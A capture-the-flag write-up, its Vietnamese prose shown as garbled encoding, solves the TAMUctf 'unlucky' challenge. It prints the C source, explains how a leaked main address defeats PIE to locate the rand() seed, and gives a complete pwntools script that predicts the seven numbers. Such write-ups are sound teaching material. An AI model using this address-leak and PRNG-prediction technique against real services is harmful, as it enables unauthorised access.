Challenge
Analysis
Khi cháēĄy binary thÃŦ ta nháēn ÄÆ°áģŖc Äáģa cháģ leak cáģ§a 1 tháģŠ gÃŦ ÄÃŗ:
Checksec:
#include <stdio.h>
#include <stdlib.h>
int main() {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stdin, NULL, _IONBF, 0);
static int seed = 69;
srand(&seed);
printf("Here's a lucky number: %p\n", &main);
int lol = 1;
int input = 0;
for (int i = 1; i <= 7; ++i) {
printf("Enter lucky number #%d:\n", i);
scanf("%d", &input);
if (rand() != input) {
lol = 0;
}
}
if (lol != 0) {
char flag[64] = {0};
FILE* f = fopen("flag.txt", "r");
fread(flag, 1, sizeof(flag), f);
printf("Nice work, here's the flag: %s\n", flag);
} else {
puts("How unlucky :pensive:");
}
}
ThÃŦ nhÃŦn source code trÃĒn thÃŦ ta cÃŗ tháģ tháēĨy ngay Äáģa cháģ báģ leak là Äáģa cháģ cáģ§a hà m main.
CÃŗ tháģ tháēĨy nÃŗ Äáēˇt máģt biáēŋn seed
thà nh 69
, sau ÄÃŗ truyáģn Äáģa cháģ cáģ§a nÃŗ và o trong hà m srand(
&seed
)
. Sau ÄÃŗ chÃēng ta pháēŖi ÄoÃĄn ÄÃēng toà n báģ 7 sáģ xuáēĨt hiáģn Äáē§u tiÃĒn ÄÆ°áģŖc táēĄo ra báģi rand()
Äáģ cÃŗ tháģ láēĨy ÄÆ°áģŖc flag.
VÃŦ PIE ÄÆ°áģŖc enable, Äáģa cháģ cáģ§a seed sáēŊ ÄÆ°áģŖc randomize --> nÃĒn sáēŊ không tháģ dÚng nÃŗ tráģąc tiáēŋp. NhÆ°ng Äáģa cháģ leak cáģ§a hà m main
mà ta tháēĨy áģ trÃĒn cÃŗ tháģ dáģ
dà ng láēĨy ÄÆ°áģŖc Äáģa cháģ biáēŋn seed
vÃŦ váēy cÃŗ tháģ báģ qua PIE.
Sau khi debug thÃŦ tôi biáēŋt biáēŋn seed:
Payload dÚng cho pháē§n nà y sáēŊ là :
r.recvuntil("Here's a lucky number: ")
# Given Main Leak
main_leak = int(r.recvline(), 16)
elf.address = main_leak - elf.sym["main"]
log.success(f"Main: {hex(elf.address)}")
seed = elf.sym["seed.2870"]
log.success(f"Seed: {seed}")
Sau khi láēĨy ÄÆ°áģŖc Äáģa cháģ cáģ§a biáēŋn seed:
ThÃŦ tôi sáēŊ cÃŗ payload hoà n thiáģn pass 7 condition cáģ§a chÆ°ÆĄng trÃŦnh:
from pwn import *
from ctypes import CDLL
r = remote("tamuctf.com", 443, ssl=True, sni="unlucky")
elf = context.binary = ELF("./unlucky")
#r = elf.process()
libc = CDLL("/lib/x86_64-linux-gnu/libc.so.6")
context.clear(os = "linux", arch='x86_64', log_level="debug")
r.recvuntil("Here's a lucky number: ")
# Given Main Leak
main_leak = int(r.recvline(), 16)
elf.address = main_leak - elf.sym["main"]
log.success(f"Main: {hex(elf.address)}")
seed = elf.sym["seed.2870"]
log.success(f"Seed: {hex(seed)}")
libc.srand(seed)
for i in range(7):
r.sendlineafter(b":\n", str(libc.rand()))
r.interactive()